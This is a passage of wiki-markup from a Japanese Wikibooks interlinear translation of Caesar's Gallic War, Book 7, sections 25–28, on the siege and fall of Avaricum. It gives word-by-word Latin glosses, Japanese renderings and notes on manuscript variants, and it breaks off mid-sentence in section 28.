*[[wikt:en:exanimatus#Latin|exanimatus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:concidit#Verb|concidit]]. 
**息絶えて倒れた。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Hunc ex [[wikt:en:proximus#Noun|proximis]] unus [[wikt:en:iacens#Latin|iacentem]] [[wikt:en:transgressus#Latin|transgressus]] 
**彼が倒れているのを、すぐ近くの者たちのうちの1人が乗り越えて、
*[[wikt:en:idem#Latin|eodem]] illo [[wikt:en:munus#Latin|munere]] [[wikt:en:fungebatur#Latin|fungebatur]]; 
**その同じ&lt;ruby&gt;&lt;rb&gt;任務&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ムーヌス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を果たしていた。
*[[wikt:en:idem#Latin|Eadem]] [[wikt:en:ratio#Latin|ratione]] [[wikt:en:ictus#Noun_4|ictu]] [[wikt:en:scorpio#Latin|scorpionis]] [[wikt:en:exanimatus#Latin|exanimato]] 
**&lt;small&gt;（その第2の者が）&lt;/small&gt;同様に&lt;ruby&gt;&lt;rb&gt;[[w:スコルピオ|投射機]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;スコルピオー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の射撃で息絶えさせられると
*alteri [[wikt:en:successit#Latin|successit]] tertius 
**&lt;small&gt;（息絶えた）&lt;/small&gt;第2の者に第3の者が代わって、
*et tertio quartus, 
**&lt;small&gt;（さらに）&lt;/small&gt;第3の者に第4の者が&lt;small&gt;（代わった）&lt;/small&gt;。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; &lt;u&gt;nec prius&lt;/u&gt; ille est a [[wikt:en:propugnator#Latin|propugnatoribus]] [[wikt:en:vacuus#Latin|vacuus]] [[wikt:en:relictus#Participle|relictus]] locus 
**防戦者たちは、持ち場を放棄することがなかった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：直訳は「その場（ille locus）は、防戦者たちによって空&lt;small&gt;〔無人〕&lt;/small&gt;にして置かれることがなかった。」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：nec [[wikt:en:prius#Adverb|prius]] ～ [[wikt:en:quam#Conjunction|quam]] …「…するまでは～しなかった」）&lt;/span&gt;
*&lt;u&gt;quam&lt;/u&gt; [[wikt:en:restinctus#Latin|restincto]] [[wikt:en:agger#Latin|aggere]] atque &lt;u&gt;omni ex parte&lt;/u&gt; [[wikt:en:submotus#Latin|submotis]] hostibus [[wikt:en:finis#Latin:_end|finis]] est [[wikt:en:pugnandi#Verb|pugnandi]] [[wikt:en:factus#Latin:_done|factus]].
**&lt;ruby&gt;&lt;rb&gt;[[w:アッゲル|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が鎮火されて、そのすべての方面から敵たちが追い払われて、戦いに終止符が打たれる&lt;u&gt;までは&lt;/u&gt;。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、omni &lt;u&gt;ex&lt;/u&gt; parte は ''[[ガリア戦記/注解編/写本と校訂版#Ciacconius|Ciacconius]]'' による修正で、&lt;br&gt;　　　　&amp;alpha;系写本では omni &lt;u&gt;ea&lt;/u&gt; parte &lt;br&gt;　　　　&amp;beta;系写本では omni parte となっている。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===26節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/26節]]　{{進捗|00%|2026-07-13}}&lt;/span&gt;
;アウァーリクム脱出の企て、女たちの絶叫
:　
;　　　万策尽きたガッリア勢が、アウァーリクム脱出を企てる
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:omnia#Noun|Omnia]] [[wikt:en:expertus#Participle|experti]] [[wikt:en:Galli#Latin|Galli]], 
**ガッリア人たちはあらゆることを試みたが、
*quod res [[wikt:en:nullus#Determiner|nulla]] [[wikt:en:successerat#Latin|successerat]], 
**何ら事が成功しなかったので、
*[[wikt:en:posterus#Latin|postero]] die [[wikt:en:consilium#Latin|consilium]] [[wikt:en:ceperunt#Latin|ceperunt]] ex [[wikt:en:oppidum#Latin|oppido]] [[wikt:en:profugio#Latin|profugere]], 
**&lt;small&gt;（戦いの夜が明けて）&lt;/small&gt;翌日には、&lt;small&gt;（アウァーリクムの）&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;城塞都市&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;から退避する計画を立てた。
*[[wikt:en:hortans#Latin|hortante]] et [[wikt:en:iubens#Latin|iubente]] [[wikt:en:Vercingetorix#Latin|Vercingetorige]]. 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]によって促され、命じられたものであった。
:　
;　　　脱出をはかるガッリア勢の期待とその理由
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Id [[wikt:en:silentium#Latin|silentio]] noctis [[wikt:en:conatus#Participle|conati]] 
**そのこと&lt;small&gt;〔アウァーリクムからの退避〕&lt;/small&gt;を夜の静けさのうちに試みても、
*non magna &lt;u&gt;iactura&lt;/u&gt; suorum 
**味方の大きな&lt;ruby&gt;&lt;rb&gt;犠牲&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ヤクトゥーラ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;もなしに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:iactura#Noun|iactura]] は「投げ捨てること」、比喩的に「損害、犠牲」。）&lt;/span&gt;
*sese [[wikt:en:effecturus#Latin|effecturos]] &lt;span style=&quot;color:#009900;&quot;&gt;&lt;small&gt;(esse)&lt;/small&gt;&lt;/span&gt; [[wikt:en:sperabant#Latin|sperabant]], 
**自分たちは成し遂げるだろうと期待していた。
*&lt;u&gt;propterea quod&lt;/u&gt; &lt;u&gt;neque&lt;/u&gt; longe ab oppido [[wikt:en:castra#Latin|castra]] [[wikt:en:Vercingetorix#Latin|Vercingetorigis]] [[wikt:en:aberant#Latin|aberant]], 
**──というのも、ウェルキンゲトリークスの陣営は&lt;small&gt;（アウァーリクムの）&lt;/small&gt;&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;城塞都市&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;からあまり離れていなかったし、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:propterea_quod#Latin|propterea quod]] ～「なぜなら～からである」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：neque ～  et …「～ではなく、…である」）&lt;/span&gt;
*&lt;u&gt;et&lt;/u&gt; [[wikt:en:palus#Latin|palus]], &lt;u&gt;quae [[wikt:en:perpetuus#Latin|perpetua]]&lt;/u&gt; [[wikt:en:intercedebat#Latin|intercedebat]], [[wikt:en:Romani#Latin|Romanos]] ad [[wikt:en:insequendum#Verb|insequendum]] [[wikt:en:tardabat#Latin|tardabat]]. 
**沼地も絶え間なく介在していて、ローマ人たちの追跡を遅らせていたからだ。──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：二つ目の下線部は、&amp;alpha;系写本の語順は quae perpetua だが、&lt;br&gt;　　　　　　　　　　　　　&amp;beta;系写本の語順は perpetua quae となっている。）&lt;/span&gt;
:　
;　　　母親たちが男たちに、女子供を置き去りにして敵のいけにえにするな、と哀願する
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:iam#Latin|Iam]]&lt;nowiki&gt;que&lt;/nowiki&gt; &lt;u&gt;hoc&lt;/u&gt; facere [[wikt:en:noctu#Latin|noctu]] [[wikt:en:apparabant#Latin|apparabant]], 
**すでに、&lt;u&gt;このことを&lt;/u&gt;実行することを夜間に準備していた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、主要写本&amp;omega; では [[wikt:en:haec#Latin|haec]]&lt;sub&gt;&amp;nbsp;(中性･複数･対格)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　最初の印刷本 [[ガリア戦記/注解編/写本と校訂版#Editio_princeps|ed.pr]] では [[wikt:en:hoc#Latin:_this|hoc]]&lt;sub&gt;&amp;nbsp;(中性･単数･対格)&lt;/sub&gt; としている。）&lt;/span&gt;
*&lt;u&gt;cum&lt;/u&gt; [[wikt:en:mater#Latin|matres]] [[wikt:en:familia#Latin|familiae]] [[wikt:en:repente#Adverb_2|repente]] in [[wikt:en:publicum#Noun|publicum]] [[wikt:en:procurrerunt#Latin|procurrerunt]], 
**そのときに家族の母親たちが不意に公の場に走り出て来て、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の cum は、「倒逆のcum」（[[wikt:en:cum inversum|cum inversum]]）と呼ばれ、&lt;br&gt;　　　　cum 以下 ～ impediret までの副文が、上記の主文よりも重要な構文の中心になる。）&lt;/span&gt;
*[[wikt:en:flens#Latin|flentes]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:proiectus#Latin|proiectae]] ad [[wikt:en:pes#Latin|pedes]] suorum 
**泣きながら、味方&lt;small&gt;（の男たち）&lt;/small&gt;の足元に&lt;small&gt;（身を）&lt;/small&gt;投げ出して、
*omnibus [[wikt:en:prex#Latin|precibus]] [[wikt:en:petierunt#Latin|petierunt]], 
**あらゆる懇願でもって頼んだ。
*ne se et [[wikt:en:communis#Latin|communes]] [[wikt:en:liberi#Noun_2|liberos]] hostibus ad [[wikt:en:supplicium#Latin|supplicium]] [[wikt:en:dederent#Latin|dederent]], 
**自分たち&lt;small&gt;〔女たち〕&lt;/small&gt;と&lt;small&gt;（男たちとの）&lt;/small&gt;共通の子供たちを、処刑されることのために敵方に引き渡さないで、
*&lt;u&gt;quos&lt;/u&gt; ad [[wikt:en:capiendus#Latin|capiendam]] [[wikt:en:fuga#Latin|fugam]] [[wikt:en:natura#Latin|naturae]] et [[wikt:en:vis#Latin|virium]] [[wikt:en:infirmitas#Latin|infirmitas]] [[wikt:en:impediret#Latin|impediret]]. 
**それらの者&lt;small&gt;〔女子供たち〕&lt;/small&gt;が逃亡をとるためには、性質や体力の弱さが、妨げるのだ、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:quos#Latin|quos]]&lt;sub&gt;&amp;nbsp;(男性･複数･対格)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:quas#Latin|quas]]&lt;sub&gt;&amp;nbsp;(女性･複数･対格)&lt;/sub&gt; となっている。）&lt;/span&gt;
:　
;　　　窮した母親たちが、男たちの脱出の兆候をローマ人に伝えようとする
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:ubi#Latin|Ubi]] eos in [[wikt:en:sententia#Latin|sententia]] [[wikt:en:perstare#Latin|perstare]] [[wikt:en:viderunt#Latin|viderunt]], 
**彼ら&lt;small&gt;〔男たち〕&lt;/small&gt;が&lt;small&gt;（女･子供を置き去りで脱出するという）&lt;/small&gt;意思を固持していると&lt;small&gt;〔女たちが〕&lt;/small&gt;見て取るや、
*[[wikt:en:quod#Conjunction|quod]] [[wikt:en:plerumque#Adverb|plerumque]] in [[wikt:en:summus#Latin|summo]] [[wikt:en:periculum#Latin|periculo]] [[wikt:en:timor#Latin|timor]] [[wikt:en:misericordia#Latin|misericordiam]] non [[wikt:en:recipit#Latin|recipit]], 
**──というのは、たいてい最大級の危険においては、恐怖が&lt;ruby&gt;&lt;rb&gt;憐憫&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;れんびん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;情&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を受け入れないものであるからだが、──
*[[wikt:en:conclamo#Latin|conclamare]] et [[wikt:en:significo#Latin|significare]] de [[wikt:en:fuga#Latin|fuga]] [[wikt:en:Romani#Latin|Romanis]] [[wikt:en:coeperunt#Latin|coeperunt]]. 
**&lt;small&gt;（女たちは）&lt;/small&gt;叫び声を上げて、ローマ人たちに&lt;small&gt;（男たちの）&lt;/small&gt;逃亡について知らしめ始めた。
:　
;　　　ガッリア勢の男たちが、ローマ側の騎兵隊を恐れて、アウァーリクム脱出を断念する
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:qui#Determiner|Quo]] [[wikt:en:timor#Latin|timore]] [[wikt:en:perterritus#Latin|perterriti]] [[wikt:en:Galli#Latin|Galli]], 
**&lt;small&gt;（女たちがローマ側へ男たちの脱出について報知したことで）&lt;/small&gt;その恐怖によって脅かされたガッリア人&lt;small&gt;（の男）&lt;/small&gt;たちは、
*[[wikt:en:ne#Latin:_no|ne]] ab [[wikt:en:equitatus#Latin|equitatu]] Romanorum [[wikt:en:via#Latin|viae]] [[wikt:en:praeoccuparentur#Latin|praeoccuparentur]], 
**ローマ方の[[w:騎兵|騎兵隊]]によって道があらかじめ占拠されないように、
*[[wikt:en:consilium#Latin|consilio]] [[wikt:en:destiterunt#Latin|destiterunt]].
**&lt;small&gt;（アウァーリクムからの脱出の）&lt;/small&gt;計画を取り止めた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===27節===
[[画像:Avaricum_westpoint_july_2006.jpg|thumb|right|300px|[[w:アウァリクム包囲戦|アウァーリクム攻略戦]]の[[w:ジオラマ|ジオラマ]]（再掲；[[w:陸軍士官学校 (アメリカ合衆国)|米国陸軍士官学校]]博物館）。ローマ軍の&lt;ruby&gt;&lt;rb&gt;[[w:アッゲル|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の周辺には、&lt;ruby&gt;&lt;rb&gt;[[w:ウィネア|工作小屋]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;（vinea）の両端を開いて多数つないだ廊下状の通路（坑道）が延びている。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/27節]]　{{進捗|00%|2026-08-01}}&lt;/span&gt;
;ローマ軍が大雨の中でアウァーリクムの城壁を占拠
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Postero die Caesar, 
**翌日にカエサルは、
*[[wikt:en:promotus#Latin|promota]] [[wikt:en:turris#Latin|turri]] 
**&lt;small&gt;（後退していた）&lt;/small&gt;[[w:攻城塔|攻城櫓]]&lt;small&gt;（の1基）&lt;/small&gt;が前進させられて、
*&lt;u&gt;perfectis&lt;/u&gt;&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:opus#Latin|operibus]], quae facere [[wikt:en:instituerat#Latin|instituerat]], 
**実施を定めていた作業が&lt;u&gt;成し遂げられると&lt;/u&gt;、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　　&amp;pi;系写本では [[wikt:en:perfectis#Latin|perfectīs]] 「完成されると」だが、&lt;br&gt;　　　　　&amp;alpha;系･&amp;rho;系写本では [[wikt:en:derectis#Latin|dērēctīs]] 「整えられると」&lt;br&gt;　　　　となっている。）&lt;/span&gt;
*magno [[wikt:en:coortus#Latin|coorto]] &lt;u&gt;imbre&lt;/u&gt; 
**激しい嵐が起こったが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:imbre#Latin|imbre]] だが、&amp;beta;系写本では [[wikt:en:imbri#Latin|imbri]] となっている。）&lt;/span&gt;
*non [[wikt:en:inutilis#Latin|inutilem]] hanc ad [[wikt:en:capiendus#Latin|capiendum]] [[wikt:en:consilium#Latin|consilium]] [[wikt:en:tempestas#Latin|tempestatem]] &lt;u&gt;arbitratus est&lt;/u&gt;, 
**作戦計画を立てるために、この天候は不利ではないと思われた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:arbitratus#Participle|arbitratus]] est だが、&amp;beta;系写本では単に arbitratus となっている。）&lt;/span&gt;
*[[wikt:en:quod#Conjunction|quod]] paulo [[wikt:en:incautius#Adverb|incautius]] [[wikt:en:custodia#Latin|custodias]] in [[wikt:en:murus#Latin|muro]] [[wikt:en:dispositus#Latin|dispositas]] [[wikt:en:videbat#Latin|videbat]], 
**──というのは、城壁に配置された番兵たちが少しより油断していると見ていたからだが、──
*&lt;u&gt;suosque&lt;/u&gt; [[wikt:en:languide#Adverb|languidius]] in [[wikt:en:opus#Latin|opere]] [[wikt:en:versor#Latin|versari]] [[wikt:en:iussit#Verb|iussit]] 
**配下の者たちには&lt;small&gt;（わざと）&lt;/small&gt;より緩慢に作業に従事することを命じて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:suos#Latin|suōs]]&lt;nowiki&gt;que&lt;/nowiki&gt; だが、&amp;beta;系写本では [[wikt:en:suos#Latin|suōs]] [[wikt:en:quoque#Adverb|quoque]] となっている。）&lt;/span&gt;
*et, [[wikt:en:quid#Pronoun_2|quid]] [[wikt:en:fieri#Latin|fieri]] [[wikt:en:vellet#Latin|vellet]], [[wikt:en:ostendit#Latin|ostendit]]. 
**何がなされることを&lt;small&gt;（カエサルが）&lt;/small&gt;欲しているか、を示した。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:legio#Latin|Legionibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; &lt;u&gt;extra castra intra [[wikt:en:vinea#Latin|vineas]]&lt;/u&gt; in occulto [[wikt:en:expeditus#Participle|expeditis]], 
**[[w:ローマ軍団|諸軍団]]が&lt;u&gt;陣営の外の&lt;ruby&gt;&lt;rb&gt;[[w:ウィネア|工作小屋]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の内側で&lt;/u&gt;ひそかに準備を整えており、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、写本や校訂版によって異同がある。[[ガリア戦記_第7巻/注解/27節#注記|注記]]を参照。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:in_occulto#Latin|in occulto]]「ひそかに」「隠れた所で」）&lt;/span&gt;
*[[wikt:en:cohortatus#Latin|cohortatus]], ut [[wikt:en:aliquando#Latin|aliquando]] pro [[wikt:en:tantus#Latin|tantis]] [[wikt:en:labor#Latin|laboribus]] [[wikt:en:fructus#Latin:_noun|fructum]] victoriae [[wikt:en:perciperent#Latin|perciperent]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;やっと、これほどの労苦の見合う勝利の報酬を我がものとするように激励し、
*iis, qui [[wikt:en:primus#Latin|primi]] [[wikt:en:murus#Latin|murum]] [[wikt:en:adscendissent#Latin|adscendissent]], [[wikt:en:praemium#Latin|praemia]] [[wikt:en:proposuit#Latin|proposuit]] 
**一番乗りとして城壁に登った者たちには、恩賞を約束して、
*[[wikt:en:miles#Latin|militibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:signum#Latin|signum]] [[wikt:en:dedit#Latin|dedit]]. 
**兵士たちに号令を発した。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Illi [[wikt:en:subito#Adverb_8|subito]] ex omnibus partibus [[wikt:en:evolaverunt#Latin|evolaverunt]] 
**彼ら&lt;small&gt;〔ローマ軍団兵〕&lt;/small&gt;は不意にあらゆる方角から飛び出して、
*[[wikt:en:murus#Latin|murum]]&lt;nowiki&gt;que&lt;/nowiki&gt; celeriter [[wikt:en:compleverunt#Latin|compleverunt]].
**速やかに&lt;small&gt;（アウァーリクムの）&lt;/small&gt;城壁を埋め尽くしたのだ。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===28節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/28節]]　{{進捗|00%|2026-08-11}}&lt;/span&gt;
;ローマ軍がアウァーリクムの市民4万人を大虐殺

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Hostes re nova [[wikt:en:perterritus#Latin|perterriti]], 
**敵たち&lt;small&gt;〔籠城するガッリア勢〕&lt;/small&gt;は新たな事態に脅かされて、
*[[wikt:en:murus#Latin|muro]] [[wikt:en:turris#Latin|turribus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:deiectus#Participle|deiecti]] 
**&lt;small&gt;（ローマ兵によって）&lt;/small&gt;城壁や櫓から追い落とされて、
*in [[wikt:en:forum#Latin|foro]] ac locis [[wikt:en:patentior#Latin|patentioribus]] [[wikt:en:cuneatim#Latin|cuneatim]] [[wikt:en:constiterunt#Etymology_1|constiterunt]], 
**&lt;ruby&gt;&lt;rb&gt;広場&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;フォルム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や開けた場所に楔状に立ちふさがった。
*hoc animo, ut, si [[wikt:en:aliqui#Latin|qua]] ex parte [[wikt:en:obviam#Adverb|obviam]] &lt;span style=&quot;color:#009900;&quot;&gt;[&lt;/span&gt;contra&lt;span style=&quot;color:#009900;&quot;&gt;]&lt;/span&gt; [[wikt:en:veniretur#Latin|veniretur]], [[wikt:en:acies#Latin|acie]] [[wikt:en:instructus#Latin|instructa]] [[wikt:en:depugnarent#Latin|depugnarent]]. 
**もし、どの方向から相対して対抗して来られても、戦列を整えて決戦しようという心積もりでいたのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:contra#Latin|contra]] は &amp;alpha;系･&amp;pi;系写本･写本Rにある記述だが、&lt;br&gt;　　　　　　　　写本U にはなく、削除提案されている。）&lt;/span&gt;

:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Ubi [[wikt:en:nemo#Latin|neminem]] in aequum locum sese [[wikt:en:demitto#Latin|demittere]], sed [[wikt:en:totus#Latin:_whole|toto]] [[wikt:en:undique#Latin|undique]] [[wikt:en:murus#Latin|muro]] [[wikt:en:circumfundi#Latin|circumfundi]] [[wikt:en:viderunt#Latin|viderunt]], 
**&lt;small&gt;（ローマ兵が）&lt;/small&gt;誰も平らな所に降りて来ず、しかし城壁全体の至る所で取り囲まれたことを見たときに、
*[[wikt:en:veritus#Latin|veriti]], ne [[wikt:en:omnino#Latin|omnino]] spes fugae [[wikt:en:tolleretur#Latin|tolleretur]], 
**&lt;small&gt;（籠城ガッリア勢は）&lt;/small&gt;逃亡のあらゆる希望を奪われないかと怖れて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：veriti, [[wikt:en:ne#Latin:_no|ne]] ～ 「～ではないかと恐れて」恐れの表現。）&lt;/span&gt;
*[[wikt:en:abiectus#Latin|abiectis]] [[wikt:en:arma#Latin|armis]] 
**武器を投げ捨てて、
*[[wikt:en:ultimus#Latin|ultimas]] oppidi partes 
**城塞都市の&lt;small&gt;（ローマ勢から）&lt;/small&gt;最も遠くの方面を
*[[wikt:en:continens#Latin|continenti]] [[wikt:en:impetus#Latin|impetu]] [[wikt:en:petiverunt#Latin|petiverunt]], 
**絶え間ない殺到によって求めた。

:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; &lt;u&gt;pars&lt;/u&gt;&lt;nowiki&gt;que&lt;/nowiki&gt; ibi, cum [[wikt:en:angustus#Latin|angusto]] [[wikt:en:exitus#Latin|exitu]] portarum se ipsi [[wikt:en:premerent#Latin|premerent]], a militibus, 
**ある者たちは、城門の狭い出口で自分らで互いに押し合っていたので、そこで&lt;small&gt;（ローマ人）&lt;/small&gt;兵士たちによって&lt;small&gt;（殺され）&lt;/small&gt;、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:pars#Latin|pars]] ～, pars …「ある者たちは～、別の者たちは…」。）&lt;/span&gt;
*&lt;u&gt;pars&lt;/u&gt; iam [[wikt:en:egressus#Latin|egressa]] portis ab [[wikt:en:eques#Latin|equitibus]] est [[wikt:en:interfectus#Latin|interfecta]]. 
**別の者たちはすでに城門を出ていたが、&lt;small&gt;（ローマ側の）&lt;/small&gt;[[w:騎兵|騎兵]]たちによって虐殺された。

:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:nec#Latin|Nec]] fuit [[wikt:en:quisquam#Pronoun|quisquam]], qui [[wikt:en:praeda#Latin|praedae]] [[wikt:en:studeret#Latin|studeret]]. 
**&lt;small&gt;（ローマ勢には）&lt;/small&gt;戦利品を熱心に求める何者もいなかった。
*[[wikt:en:sic#Latin|Sic]] et &lt;u&gt;Cenabi&lt;/u&gt; [[wikt:en:caedes#Latin|caede]] et [[wikt:en:labor#Latin|labore]] [[wikt:en:opus#Latin|operis]] [[wikt:en:incitatus#Latin|incitati]] 
**このように、ケナブムの&lt;small&gt;（ローマ市民の）&lt;/small&gt;殺害にも、（攻城）作業の労苦にも煽られて
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カルヌーテース族によるローマ市民の殺害については[[#3節|3節]]を参照。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の cenabi は、&amp;alpha;系写本では [[wikt:en:Genabi#Latin|genabi]] &lt;br&gt;　　　　　　　　　　　　　&amp;rho;系写本や写本Tでは [[wikt:en:Genabensi#Adjective|genabensi]]&lt;br&gt;　　　　　　　　　　　　　写本Uおよび写本Tの一部では cenabensi となっている。&lt;br&gt;　　　　　　　　　　　　　なお、cenabi, cenabensi はケルト語風の表記である。）&lt;/span&gt;
*non [[wikt:en:aetas#Latin|aetate]] [[wikt:en:confectus#Latin|confectis]], 
**&lt;small&gt;（ローマ勢は）&lt;/small&gt;年老いた者たちも、
*non [[wikt:en:mulier#Latin|mulieribus]], 
**妻女たちも、
*non [[wikt:en:infans#Noun|infantibus]] [[wikt:en:pepercerunt#Latin|pepercerunt]]. 
**乳幼児たちも&lt;small&gt;（虐殺することを）&lt;/small&gt;思いとどまらなかった。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ビトゥリゲース族はローマ市民の殺害には関与しておらず、報復される対象とするのは的外れである。&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;ましてや非戦闘員である老人・女性・子供たちまで殺戮するのは、戦争の狂気というしかない。）&lt;/span&gt;

:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:denique#Latin|Denique]] ex omni &lt;u&gt;&lt;span style=&quot;color:#009900;&quot;&gt;eo&lt;/span&gt;&lt;/u&gt; numero, qui fuit circiter milium XL&lt;small&gt;&amp;nbsp;([[wikt:en:quadraginta#Latin|quadraginta]])&lt;/small&gt;, 
**ついには、約40000名もいたすべての人員のうち、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:eo#Latin:_there|eo]] は &amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*vix DCCC&lt;small&gt;&amp;nbsp;([[wikt:en:octingenti#Latin|octingenti]])&lt;/small&gt;, qui primo [[wikt:en:clamor#Latin|clamore]] [[wikt:en:auditus#Latin|audito]] se ex oppido &lt;u&gt;eiecerunt&lt;/u&gt;, 
**やっと800名が、はじめにどよめきを聞いて、城塞都市から急ぎ出て、
